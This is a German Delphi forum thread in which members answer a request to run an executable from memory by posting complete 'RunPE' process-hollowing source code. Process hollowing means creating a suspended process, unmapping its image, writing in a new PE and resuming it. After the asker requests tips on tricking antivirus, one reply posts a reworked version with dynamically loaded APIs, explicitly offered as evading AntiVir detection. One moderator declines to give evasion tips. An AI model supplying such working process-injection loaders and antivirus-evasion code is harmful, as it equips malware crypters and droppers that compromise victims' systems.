Entwickler-Ecke
Dateizugriff - Executable in TMemoryStream ausführen
Force - Do 25.02.10 10:13
Titel: Executable in TMemoryStream ausführen
Hi,
ich arbeite zur Zeit an einem Kryptographie-Programm, welches unter anderem auch in der Lage sein soll EXE-Dateien zu verschlüsseln und nach Eingabe eines Passworts zu entschlüsseln und dann zu starten.
Empfehlenswert dafür wäre es natürlich, wenn die Exe direkt aus einem TMemoryStream gestartet werden könnte, da sie dann nicht extra auf die Platte geschrieben werden muss (und u.U. die entschlüsselte Datei kopiert werden könnte).
Ist es mit Delphi überhaupt möglich eine Datei während der Laufzeit in einem Stream zu laden und auszuführen? Wenn ja, wie wäre dies zu realisieren? Leider kenne ich mich nicht wirklich mit der WinAPI aus und noch weniger mit interner Speicherverwaltung etc :-/
Auch meine Google-Recherchen (schreibt man das so? :D) haben es leider nicht weit gebracht, ich habe nur ein paar Codeschnippsel für C gefunden...
Würde mich unheimlich über eine Antwort freuen!
LG Marc
SAiBOT - Do 25.02.10 23:04
Ich habe auch nur Code in MASM gefunden, habs' dir fix übersetzt. Du mußt halt nur deine Exe in die Exe.pas hardcoden oder halt deinen Stream-Pointer übergeben.
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91: 92: 93: 94: 95: 96: 97: 98: 99: 100: 101: 102: 103: 104: 105: 106: 107: 108: 109: 110: 111: 112: 113: 114: 115: 116: 117: 118: 119: 120: 121: 122: 123: 124: 125: 126: 127: 128: 129: 130: 131: 132: 133: 134: 135: 136: 137: 138:
| program RunPE; uses Windows, Exe;
function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: DWORD): DWORD; stdcall; external 'ntdll.dll';
{$APPTYPE CONSOLE}
const myname: AnsiString = 'RunPE.exe';
type PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER; PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS; PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
var sinfo : STARTUPINFOA; pinfo : PROCESS_INFORMATION; base : DWORD; sec : PIMAGE_SECTION_HEADER; cnt : CONTEXT; p : PIMAGE_NT_HEADERS; dh : PIMAGE_DOS_HEADER; fool : Cardinal; i,_eax :Integer; begin ZeroMemory(@sinfo, SizeOf(STARTUPINFO)); CreateProcessA(@myname[1], nil, nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, sinfo, pinfo); ZeroMemory(@cnt, SizeOf(CONTEXT)); cnt.ContextFlags := CONTEXT_INTEGER; GetThreadContext(pinfo.hThread, cnt); NtUnmapViewOfSection(pinfo.hProcess, GetModuleHandle(nil)); dh := @exefile[0]; p := Ptr( DWORD(dh) + DWORD(dh^._lfanew)); base := DWORD(VirtualAllocEx(pinfo.hProcess, Ptr(p^.OptionalHeader.ImageBase), p^.OptionalHeader.SizeOfImage, MEM_COMMIT + MEM_RESERVE, PAGE_EXECUTE_READWRITE)); WriteProcessMemory(pinfo.hProcess, Ptr(base), @exefile[0], p^.OptionalHeader.SizeOfHeaders, fool); sec := @p^.OptionalHeader; sec := Ptr( DWORD(sec)+p^.FileHeader.SizeOfOptionalHeader ); for i := 0 to p^.FileHeader.NumberOfSections-1 do begin _eax := i * SizeOf(IMAGE_SECTION_HEADER) + Integer(sec); WriteProcessmemory(pinfo.hProcess, Ptr(base + PIMAGE_SECTION_HEADER(_eax)^.VirtualAddress), Ptr(DWORD(@exefile[0]) + PIMAGE_SECTION_HEADER(_eax)^.PointerToRawData), PIMAGE_SECTION_HEADER(_eax)^.SizeOfRawData, fool); end; cnt.Eax := base + p^.OptionalHeader.AddressOfEntryPoint; SetThreadContext(pinfo.hThread, cnt); ResumeThread(pinfo.hThread); end. |
Ich hänge mal noch ein Exe.pas Beispiel an!
PS: Mein Avira scheint folgendes nicht zu mögen:
Delphi-Quelltext
1: 2:
| function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: DWORD): DWORD; stdcall; external 'ntdll.dll'; |
BenBE - Fr 26.02.10 01:36
@Saibot: Kannst bitte Source-Link dazu posten?
Ferner: Wenn er's statisch nicht mag (welche Meldung bringt er) was macht er bei dynamischem Aufruf?
Force - Sa 27.02.10 12:15
Tausend Dank!! Der Code arbeitet perfekt, super, danke noch mal dafür!
Hm, ich habe auch AntiVir auf meinem Windowssystem installiert, aber so ziemlich alles was ich versuche hilft nicht wirklich den auszutricksen... ich hab mir überlegt vielleicht einfach ein paar Befehle vom Code in eine DLL zu schreiben, so dass nicht alles in einer Datei gespeichert ist (vielleicht reicht es sogar schon aus, ein paar Anweisungen als Procedure zu schreiben?), mal schauen... habt ihr Tipps wie man Virenscanner am besten in solch einer Situation austricksen kann? ;)
Und, das ist mir jetzt etwas peinlich, aber wie kriege ich den Pointer von einem Stream? Frage mich das schon seit knapp einem halben Jahr :D Ich mein, wenn ich @Stream schreibe wird ja nur die Adresse von der Komponente geliefert, aber nicht von den Daten selber. Sind diese im Arbeitsspeicher eigentlich überhaupt aneinandergereiht?
Aber auf jeden Fall schon mal tausend Dank für den Code!! Habe mir übrigens mal deine Website angeguckt, sieht auf jeden Fall sehr interessant aus, werde die Tage mal den Code für die DLL Injection ausprobieren :)
Liebe Grüße aus Neuseeland,
Marc
BenBE - Sa 27.02.10 12:27
Force hat folgendes geschrieben : |
Tausend Dank!! Der Code arbeitet perfekt, super, danke noch mal dafür!
Hm, ich habe auch AntiVir auf meinem Windowssystem installiert, aber so ziemlich alles was ich versuche hilft nicht wirklich den auszutricksen... ich hab mir überlegt vielleicht einfach ein paar Befehle vom Code in eine DLL zu schreiben, so dass nicht alles in einer Datei gespeichert ist (vielleicht reicht es sogar schon aus, ein paar Anweisungen als Procedure zu schreiben?), mal schauen... |
Jap. Sende eine solche Fehlerkennung an AntiVir und lass sie sie korrigieren.
Force hat folgendes geschrieben : |
habt ihr Tipps wie man Virenscanner am besten in solch einer Situation austricksen kann? ;) |
Nein, aber selbst wenn, wäre das offen im Forum mindestens fraglich, die zu posten ...
Force hat folgendes geschrieben : |
Und, das ist mir jetzt etwas peinlich, aber wie kriege ich den Pointer von einem Stream? |
TMemoryStream.Memory ...
Force hat folgendes geschrieben : |
Frage mich das schon seit knapp einem halben Jahr :D Ich mein, wenn ich @Stream schreibe wird ja nur die Adresse von der Komponente geliefert, aber nicht von den Daten selber. Sind diese im Arbeitsspeicher eigentlich überhaupt aneinandergereiht? |
Ja, die sind aber dort nicht zwingend auf 4K aligned, was Du bräuchtesst, um das nicht zum Starten der EXE nochmals zu kopieren.
Force hat folgendes geschrieben : |
Aber auf jeden Fall schon mal tausend Dank für den Code!! Habe mir übrigens mal deine Website angeguckt, sieht auf jeden Fall sehr interessant aus, werde die Tage mal den Code für die DLL Injection ausprobieren :)
Liebe Grüße aus Neuseeland,
Marc |
Wie gesagt: aktuelle uallCollection gibt's im SVN des Omorphia-Projektes.
uall@ogc - Sa 27.02.10 12:39
Du musst NtUnmapViewOfSection, GetThreadContext, SetThreadContext, VirtualAllocEx, ResumeThread und WriteProcessMemory dynamisch laden dann sollte AntiVir nicht mehr meckern
SAiBOT - Sa 27.02.10 18:35
BenBE hat folgendes geschrieben : |
Wie gesagt: aktuelle uallCollection gibt's im SVN des Omorphia-Projektes. |
Falls das eine Anspielung darauf sein soll, meine Funktionen wären kopiert, muss ich dich leider enttäuschen :lol:. Wobei die Funktionen von Uall bestimmt besser sind :P.
uall@ogc - Sa 27.02.10 18:54
Sollte wohl erher nur nen Hinweis sein, wo er ggf. auch solche Sachen findet. Und ich glaub auch nicht, dass meine uallCollection jetzt so gut ist, ist teilweise über 5 Jahre alt und ich selbst würde vieles anders machen. Außerdem lädt meine Funktion die original Exe im eigenen Prozess, dein Code erstellt ja extra einen neuen, ist also schon etwas anders.
Etwas versteh ich aber nicht: Was passiert mit der ImportTabelle bei deinem Code und ggf. dlls die nicht geladen wurden? [Oder werden sie später gefüllt?]
Gut die Relocations musst du mit der Methode nicht ändern (im Gegensatz zu meinem).
Btw. sollten die Sections auch die richtigen Access_rechte bekommen (ABER: das ist bei mir auch net so)
Und um es mal zu sagen: SAiBOT hat wirklich viele interessante Artikel auf seiner Page rund ums hooken usw. Ich shcau mir das auch öfter mal an :)
Der Source ohne AntiVir detection:
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49: 50: 51: 52: 53: 54: 55: 56: 57: 58: 59: 60: 61: 62: 63: 64: 65: 66: 67: 68: 69: 70: 71: 72: 73: 74: 75: 76: 77: 78: 79: 80: 81: 82: 83: 84: 85: 86: 87: 88: 89: 90: 91: 92: 93: 94: 95: 96: 97: 98: 99: 100: 101: 102: 103: 104: 105: 106: 107: 108: 109: 110: 111: 112: 113: 114: 115: 116: 117: 118: 119: 120: 121: 122: 123: 124: 125: 126: 127: 128: 129: 130: 131: 132: 133: 134: 135: 136: 137: 138: 139: 140: 141: 142: 143: 144: 145: 146: 147: 148: 149: 150: 151: 152: 153: 154: 155: 156: 157: 158:
| program InMemExe;
uses Windows, Exe;
var XVirtualAllocEx: function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; XWriteProcessMemory: function(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall; XNtUnmapViewOfSection: function(ProcessHandle: THandle; BaseAddress: DWORD): DWORD; stdcall; XGetThreadContext: function(hThread: THandle; var lpContext: TContext): BOOL; stdcall; XSetThreadContext: function(hThread: THandle; const lpContext: TContext): BOOL; stdcall;
{$APPTYPE CONSOLE}
const myname: AnsiString = 'RunPE.exe'; type PIMAGE_SECTION_HEADER = ^IMAGE_SECTION_HEADER; PIMAGE_NT_HEADERS = ^IMAGE_NT_HEADERS; PIMAGE_DOS_HEADER = ^IMAGE_DOS_HEADER;
var sinfo: STARTUPINFOA; pinfo: PROCESS_INFORMATION; base: DWORD; sec: PIMAGE_SECTION_HEADER; cnt: CONTEXT; p: PIMAGE_NT_HEADERS; dh: PIMAGE_DOS_HEADER; fool: Cardinal; i, _eax: Integer; Kernelhandle: THandle; NtdllHandle: THandle; begin kernelHandle := GetModuleHandle('kernel32.dll'); NtdllHandle := GetModuleHandle('ntdll.dll'); XNtUnmapViewOfSection := GetProcAddress(NtdllHandle, 'NtUnmapViewOfSection');
XVirtualAllocEx := GetProcAddress(kernelHandle, 'VirtualAllocEx'); XWriteProcessMemory := GetProcAddress(kernelHandle, 'WriteProcessMemory'); XGetThreadContext := GetProcAddress(kernelHandle, 'GetThreadContext'); XSetThreadContext := GetProcAddress(kernelHandle, 'SetThreadContext'); ZeroMemory(@sinfo, SizeOf(STARTUPINFO)); CreateProcessA(PChar(myname), nil, nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, sinfo, pinfo); ZeroMemory(@cnt, SizeOf(CONTEXT)); cnt.ContextFlags := CONTEXT_INTEGER; XGetThreadContext(pinfo.hThread, cnt); XNtUnmapViewOfSection(pinfo.hProcess, GetModuleHandle(nil)); dh := @exefile[0]; p := Ptr(DWORD(dh) + DWORD(dh^._lfanew)); base := DWORD(XVirtualAllocEx(pinfo.hProcess, Ptr(p^.OptionalHeader.ImageBase), p^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)); XWriteProcessMemory(pinfo.hProcess, Ptr(base), @exefile[0], p^.OptionalHeader.SizeOfHeaders, fool); sec := @p^.OptionalHeader; sec := Ptr(DWORD(sec) + p^.FileHeader.SizeOfOptionalHeader); for i := 0 to p^.FileHeader.NumberOfSections - 1 do begin _eax := i * SizeOf(IMAGE_SECTION_HEADER) + Integer(sec); XWriteProcessMemory(pinfo.hProcess, Ptr(base + PIMAGE_SECTION_HEADER(_eax)^.VirtualAddress), Ptr(DWORD(@exefile[0]) + PIMAGE_SECTION_HEADER(_eax)^.PointerToRawData), PIMAGE_SECTION_HEADER(_eax)^.SizeOfRawData, fool); end; cnt.Eax := base + p^.OptionalHeader.AddressOfEntryPoint; XSetThreadContext(pinfo.hThread, cnt); ResumeThread(pinfo.hThread); end. |
SAiBOT - Di 02.03.10 20:49
uall@ogc hat folgendes geschrieben : |
Etwas versteh ich aber nicht: Was passiert mit der ImportTabelle bei deinem Code und ggf. dlls die nicht geladen wurden? [Oder werden sie später gefüllt?]
Gut die Relocations musst du mit der Methode nicht ändern (im Gegensatz zu meinem).
Btw. sollten die Sections auch die richtigen Access_rechte bekommen (ABER: das ist bei mir auch net so)
|
Jetzt bin ich etwas verwirrt, von welchem Code redest du? :shock:
kaka77 - Fr 18.03.11 00:42
manno, kann man das nicht in eine unit packen... so mit zwei methoden:
eine zum ranhängen
und eine zum ausführen???
;)
naja, is ja schon richtig, dass sowas nicht jeder idiot anwenden sollte... aber mannooooo
trotzdem vielen dank für diese veröffentlichung
Entwickler-Ecke.de based on phpBB
Copyright 2002 - 2011 by Tino Teuber, Copyright 2011 - 2025 by Christian Stelzmann Alle Rechte vorbehalten.
Alle Beiträge stammen von dritten Personen und dürfen geltendes Recht nicht verletzen.
Entwickler-Ecke und die zugehörigen Webseiten distanzieren sich ausdrücklich von Fremdinhalten jeglicher Art!